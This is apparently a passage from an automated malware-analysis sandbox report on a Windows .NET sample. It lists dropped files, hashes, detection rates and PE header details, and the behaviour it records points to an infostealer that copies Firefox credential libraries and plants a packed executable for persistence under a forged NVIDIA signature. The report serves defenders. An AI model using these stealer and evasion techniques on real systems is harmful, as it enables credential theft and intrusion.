Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\ProgramData\BKKFCFBKFC.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.421797570260241
Encrypted:	false
SSDEEP:	6144:+Svfpi6ceLP/9skLmb0OT2WSPHaJG8nAgeMZMMhA2fX4WABlEnN20uhiTw:dvloT2W+EZMM6DFy403w
MD5:	4729F24422A66361CF6564185736C68B
SHA1:	0857CE6564D05DDF8AAFDDEC37CA070E39D2BABA
SHA-256:	EAF072C5178DAC59F39A694BF2BF1F92F3AB1C0C1E0F86695771A5CBCC64D68E
SHA-512:	51714EB84B212206E43EAF89C78AAC09233A04F1A6944834F2F802925912769B55C8091F1EAF4BAA5178F6195459D2E0B6CC0F6DAA04144AD170E057B8B3F675
Malicious:	false
Preview:	regf>...>....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.y..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.968649286022059
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	210'984 bytes
MD5:	6bed76e79419acb6cc20bcacf67dec0a
SHA1:	983b46b410ca8e41c79978c48e34c76eaacf9d34
SHA256:	c4fc1b9be30d564dfcb1e1af52a804b88779c991d379207c45b11056ed7b6023
SHA512:	c4402b1e11bb12aa20d27b16ea03c2db77a9c31355010e93ef3c95229da7b4e3f5a192be91d9c0afa94d3ebbdf36e227c1b28034d8aa1c8defe4d8640518f9fa
SSDEEP:	3072:z6xSG473FU7z4nlz5PfzVl1n6RvCrB+iauU7c7O8k8XeHw1izuOVDocT9mecSQp8:WECzi5TVjn6R7uU7N8utBTcl+EO
TLSH:	D0242339058485C7FADA8770B8D9DB235F3163C27AAF97EB8041C3B18D6633519E52B8
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..../.f.............................$... ...@....@.. ....................................`................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x4324be
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x66DB2FBD [Fri Sep 6 16:37:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1, O="DigiCert, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/01/2023 01:00:00 17/01/2026 00:59:59
Subject Chain	CN=NVIDIA Corporation, OU=2-J, O=NVIDIA Corporation, L=Santa Clara, S=California, C=US
Version:	3
Thumbprint MD5:	5F1B6B6C408DB2B4D60BAA489E9A0E5A
Thumbprint SHA-1:	15F760D82C79D22446CC7D4806540BF632B1E104
Thumbprint SHA-256:	28AF76241322F210DA473D9569EFF6F27124C4CA9F43933DA547E8D068B0A95D
Serial:	0997C56CAA59055394D9A9CDB8BEEB56

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3246c	0x4f	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x34000	0x610	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x31200	0x2628
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x36000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x32334	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x304c4	0x30600	6739f792c472d6934896db9b58de8e98	False	0.9912639292635659	data	7.991191973953772	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x34000	0x610	0x800	37c617a4e6585cd47331eaab9ed138eb	False	0.3466796875	data	3.421653353827107	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x36000	0xc	0x200	86019e23b1d9eea0b397582d388c8688	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x340a0	0x37c	data			0.4551569506726457
RT_MANIFEST	0x34420	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

